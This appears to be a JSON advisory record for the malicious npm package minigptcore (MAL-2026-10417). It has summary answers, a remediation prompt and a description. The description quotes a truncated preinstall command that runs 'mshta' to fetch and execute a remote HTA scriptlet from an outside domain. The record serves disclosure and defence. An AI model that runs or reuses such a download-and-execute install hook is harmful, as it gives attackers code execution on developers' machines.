{"answers":{"affected":"1 open source package ship an affected version, including minigptcore.","exploited":"There is no known exploitation of MAL-2026-10417 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-10417 is a malicious package in minigptcore, published on 13 Jul 2026."},"fix_prompt":"MAL-2026-10417 is a malicious package: minigptcore (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-10417/ (Markdown: https://insights.sbomify.com/MAL-2026-10417/index.md)","id":"MAL-2026-10417","markdown":"https://insights.sbomify.com/MAL-2026-10417/index.md","name":"MAL-2026-10417","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On `npm install`, the package's preinstall script (preinstall.js) invokes `cmd /c mshta http://fixars.top/...`, causing Windows mshta.exe to fetch and execute an HTA scriptlet from a hardcoded external domain over plain HTTP. The fetched content is unpinned, unverified, and unrelated to any documented package purpose, and executes with the privileges of the user running `npm install`. package.json ships placeholder metadata (empty author, empty keywords, generic description) consistent with a throwaway upload whose only functional effect is the remote-code-execution dropper.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in minigptcore (npm)","id":"MAL-2026-10417","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"minigptcore","purl":"pkg:npm/minigptcore","source":"MAL-2026-10417"}],"products":null,"published":"2026-07-13","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-10417/"}